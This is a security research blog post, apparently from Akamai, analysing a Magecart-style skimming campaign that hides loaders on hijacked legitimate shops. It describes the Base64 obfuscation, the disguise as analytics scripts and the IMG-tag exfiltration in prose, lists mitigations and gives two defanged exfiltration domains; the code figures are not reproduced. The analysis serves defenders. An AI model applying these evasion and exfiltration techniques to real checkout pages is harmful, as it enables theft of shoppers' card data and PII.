New Magecart-Style Campaign Abusing Legitimate Websites to Attack Others
Editorial and additional commentary by Lance Rhodes and Emily Lyons
Executive summary
Akamai researchers have discovered and analyzed a new ongoing Magecart-style web skimmer campaign, designed to steal personally identifiable information (PII) and credit card information from digital commerce websites.
Victims have been identified in North America, Latin America, and Europe, and they range in size. Some victims are estimated to handle hundreds of thousands of visitors per month, potentially putting tens of thousands of shoppers’ PII and credit cards at risk of being stolen and abused or sold on the dark web.
Attackers employ a number of evasion techniques during the campaign, including obfuscating Base64 and masking the attack to resemble popular third-party services, such as Google Analytics or Google Tag Manager.
Notably, attackers “hijack” legitimate websites to act as makeshift command and control (C2) servers. These “host victims” act as distribution centers for malicious code, unbeknownst to the victim, effectively hiding the attack behind a legitimate domain.
This attack includes the potential for exploitation of websites built using Magento, WooCommerce, WordPress, and Shopify, demonstrating the growing variety of vulnerabilities and abusable digital commerce platforms.
- These types of web skimming attacks are becoming increasingly evasive and can be difficult to detect, so security practitioners are advised to consider using tools and technologies that provide behavioral and anomaly detection of in-browser activity.
Introduction
A new Magecart-style skimmer has been making waves in recent weeks. The key distinguishing characteristic of this latest campaign is its utilization of compromised legitimate websites to facilitate the concealment of attacks on other targeted websites behind their genuine domains.
The primary objective of a Magecart attack is to steal PII and credit card details from the checkout pages of digital commerce websites. Traditionally, this type of attack was primarily executed on the Magento digital commerce platform; however, in this campaign and others like it, Akamai researchers were able to identify exploitation of websites built with Magento, WooCommerce, WordPress, and Shopify, demonstrating the growing variety of vulnerabilities and abusable platforms that are available to attackers.
Generally, these attacks cannot be detected by popular methods of web security, such as web application firewalls (WAFs), and are executed on the client side. This may result in Magecart attacks remaining unnoticed for long periods.
Over the past few weeks, we have identified an active, ongoing campaign, leveraging sophisticated infrastructure and capabilities to deliver Magecart-style web skimming attacks, and we have uncovered numerous digital commerce websites that are victims of this campaign. It is reasonable to assume that there are additional legitimate websites that have been exploited as part of this extensive campaign.
A large-scale, long-term attack
Unsurprisingly, this campaign primarily targets commerce organizations. The scale of the attack, however, is notable. Some victim organizations see hundreds of thousands of visitors per month. This may result in thousands, even tens of thousands, of victims of stolen credit card data and PII.
For many of the victims, the attack has been going unnoticed for close to a month, increasing the potential for damage. Additionally, Akamai researchers are observing the campaign’s effects on organizations in the United States, the United Kingdom, Brazil, Spain, Australia, Estonia, and Peru.
Web skimming attacks can be very harmful for digital commerce organizations. The loss of PII and credit card data can be damaging to the organizations’ reputation among other repercussions. Many of the most high-profile Magecart attacks were undetected for months, if not years. Of the 9,290 digital commerce domains that underwent Magecart attacks in 2022, there were 2,468 that remained actively infected at the close of that year, making it a formidable threat for commerce organizations.
The hack before the hack — setting up the attack infrastructure
One of the most notable parts of the campaign is the way the attackers set up their infrastructure to conduct the web skimming campaign. Before the campaign can start in earnest, the attackers will seek vulnerable websites to act as “hosts” for the malicious code that is used later on to create the web skimming attack.
Rather than using the attackers’ own C2 server to host malicious code, which may be flagged as a malicious domain, attackers hack into (using vulnerabilities or any other means at their disposal) a vulnerable, legitimate site, such as a small or medium-sized retail website, and stash their code within it. In this way, the attackers create a seemingly healthy host for their malicious code, and can deliver it to any victim they choose.
In essence, this campaign creates two sets of victims.
- Host victims: These are legitimate websites that are hijacked for the purpose of hosting the malicious code used in the attack. The attackers will then use these sites to deliver their code during an attack. Since these sites normally operate as legitimate businesses, they are less likely to raise suspicion when connecting to a victim. These sites then act as part of the infrastructure for the attack, essentially behaving as an attacker-controlled server. The intention is to conceal the malicious activity behind a domain with a good reputation.
- Web skimming victims: These are vulnerable commerce websites that are targeted with a Magecart-style web skimming attack by the attackers. Instead of directly injecting the attack code into the website's resources, the attackers employ small JavaScript code snippets as loaders to fetch the full attack code from the host victim website, allowing them to more effectively conceal the majority of the malicious code used in the attack.
Although it is unclear how these sites are being breached, based on our recent research from similar, previous campaigns, the attackers will usually look for vulnerabilities in the targeted websites’ digital commerce platform (such as Magento, WooCommerce, WordPress, Shopify, etc.) or in vulnerable third-party services used by the website.
Akamai researchers observed a small number of websites serving as the host victims. All of these websites appear to be commerce websites. In some cases, the exploited host websites appear to be abused twice. First, they are used as hosts for malicious code, as previously mentioned. Second, they themselves are subjected to a Magecart-style web skimming attack, enabling the theft of user information. Not only were they compromised and subjected to data theft by the injected code, but they also unwittingly served as a vehicle for spreading the skimmer's malicious activities to other vulnerable websites.
Taking advantage of established reputations and inherent trust
During our investigation, we’ve also uncovered some sites that we believe might be fake, possibly created by the attacker. These seem to operate as phishing websites, mimicking small retail stores, using domains that closely resemble those of the original legitimate sites.
The practice of using exploited domains from legitimate websites provides the attacker with several advantages when it comes to concealing their malicious activities. By hiding behind domains that have established reputations and positive associations, the skimmer creates a smokescreen that makes it increasingly difficult to identify and respond to the attack.
One of the primary advantages of utilizing legitimate website domains is the inherent trust that these domains have built over time. Security services and domain scoring systems typically assign higher trust levels to domains with a positive track record and a history of legitimate use. As a result, malicious activities conducted under these domains have an increased chance of going undetected or being treated as benign by automated security systems.
We are unable to disclose the domains of the legitimate websites that were exploited and used to host attacks on other targeted websites since disclosure requires the organizations’ confirmation and cooperation.
Hiding in plain sight — loading the malicious code onto victim websites
Once the infrastructure is set, attackers will look for targets with vulnerabile digital commerce platforms or vulnerable third-party services in order to inject the web skimmer code. The attacker employs a clever technique by injecting an inline (meaning that script that is embedded inside HTML, not loaded from an external file) JavaScript code snippet into the pages of exploited websites. This snippet serves as a loader, fetching the complete malicious code from the host websites that were set in the earlier stage.
Notably, the structure of the injected snippet is intentionally designed to resemble popular third-party services such as Google Tag Manager or Facebook Pixel. This approach has gained popularity among web skimming campaigns in recent years, as it helps the malicious code blend in seamlessly, disguising its true intentions.
Furthermore, to obfuscate the URL of the exploited websites hosting the full attack code, the skimmer utilizes Base64 encoding (Figure 1). This technique has become widely favored among skimmers as it effectively masks the origins and purpose of the code.
Fig. 1: Malicious JavaScript code snippet that impersonates a Google Analytics snippet and is used as a loader of the attack
In doing this, the attacker employs three methods of avoiding detection.
Obfuscate the domain used in the attack
Cleverly mask the loader as a legitimate third-party script or vendor
Reduce the amount of malicious code that needs to be injected into the page by pulling the majority of the code from other sources, which greatly reduces the chance that the code will be discovered
Once the loader is injected, any user who attempts to check out from the web skimming victim website will have their personal details and credit card information stolen and sent out to the attackers’ C2 server.
Analyzing the code — obfuscated Magecart attack
During our examination, we identified two distinct variations of the skimmer code.
The initial variation exhibited a high level of obfuscation, resulting in increased complexity when we attempted to decipher its flow and logical structure. The attacker employs obfuscation as a tactic to interfere with debugging and research, deliberately making it challenging to comprehend the precise sequence of the attack.
Obfuscating malicious code is a widely adopted practice among diverse web skimming attacks, and it has gained increased popularity across numerous campaigns in recent years (Figure 2).
Fig. 2: Malicious code — variation 1
After decoding the Base64 strings embedded within the obfuscated code, we discovered a list of Cascading Style Sheets (CSS) selectors. These selector names explicitly indicated that the skimmer targeted input fields responsible for capturing PII and credit card details.
The presence of these CSS selectors within the decoded code provides absolute evidence of the skimmer's malicious intent. By specifically targeting input fields used for gathering sensitive user data, the skimmer's objectives become clear: to intercept and exfiltrate PII and credit card details for illegal purposes. It also hints at a level of intelligence gathering; for these input fields to match, the attacker needs to “tailor” the code to each victim (Figure 3).
Fig. 3: Decoded sensitive field names targeted by the skimmer
The second variation of the malicious code discovered in this campaign exhibited less obfuscation, rendering it more comprehensible and easier to analyze. Like the first variation, the strings that could potentially expose the code's intentions were Base64 encoded, allowing us to readily decipher their meaning (Figure 4).
What makes the second variation interesting is the presence of certain indicators within the code; these indicators served as valuable clues, aiding us in the identification of additional victim websites and instances associated with this campaign.
Fig. 4: Malicious code — variation 2
Exfiltrating the stolen data
The process of exfiltrating the stolen data is executed through a straightforward HTTP request, which is initiated by creating an IMG tag within the skimmer code. The stolen data is then appended to the request as query parameters, encoded as a Base64 string (Figure 5).
To obfuscate the transmitted data, the skimmer encodes it as a Base64 string. This encoding technique provides a layer of disguise, making it more challenging for security systems and network monitoring tools to identify that sensitive information is being exfiltrated. Once the Base64-encoded data reaches the attacker's server, it can be easily decoded to its original format, exposing the stolen PII and credit card details.
Exfiltration will only happen once for each user going through checkout. Once a user’s information is stolen, the script will flag the browser to ensure it doesn’t steal the information twice (to reduce suspicious network traffic). This further increases the evasiveness of this Magecart-style attack.
Fig. 5: Data exfiltration using IMG tag, which initiates an HTTP request to the skimmer’s C2 with Base64 encoded query parameters
Security recommendations and mitigations
To plant a web skimmer, attackers will need to get initial access to the server either by exploiting a vulnerability or by abusing one of the existing third-party scripts. To prevent this initial access to the server, security practitioners are advised to keep up with the most recent patches and complement them by implementing a WAF.
However, the complexity, deployment, agility, and distribution of current web application environments — and the various methods attackers can use to install web skimmers — require more dedicated security solutions, which can provide visibility into the behavior of scripts running within the browser and offer defense against client-side attacks.
An appropriate solution must move closer to where the actual attack on the clients occurs. It should be able to successfully identify the attempted reads from sensitive input fields and the exfiltration of data (in our testing we employed Akamai Client-Side Protection & Compliance). We recommend that these events are properly collected in order to facilitate fast and effective mitigation.
Conclusion
This campaign serves as a reminder that web skimming remains a critical security threat, with malicious actors constantly evolving their tactics to conceal their activities and make detection more challenging. The new script security requirements outlined in PCI DSS v4.0 also echo this statement, now requiring any organization that processes payment cards online to have mechanisms in place to detect and respond to these types of attacks.
The primary solution for effectively combating web skimming lies in the utilization of tools and technologies that provide behavioral and anomaly detection, such as Akamai Client-side Protection & Compliance. Traditional static analysis tools prove inadequate in countering web skimmers, as they continually modify their methods and employ increasingly sophisticated techniques that can evade static analysis.
We can expect to encounter similar campaigns intermittently, as this cat-and-mouse game is likely to persist. As the battle between defenders and attackers in the realm of web skimming continues, it is crucial to stay proactive and invest in innovative security measures. By adopting advanced detection technologies that adapt to changing attack vectors, organizations can better safeguard their online platforms, protect user data, and maintain the trust of their customers. Continued research, collaboration, and vigilance are essential in the ongoing fight against web skimming threats.
The Akamai Security Intelligence Group will continue to monitor this activity and provide valuable insights to our customers and the community at large. For more real-time information on vulnerabilities and other breaking security research, follow us on Twitter.
Updated June 7, 2023: Akamai has updated this blog post to clarify that some of the mentioned platforms, such as Magento, WooCommerce, WordPress, and Shopify, have the potential for exploitation.
IOCs
Exfiltration domains:
byvlsa[.]com
chatwareopenalgroup[.]net
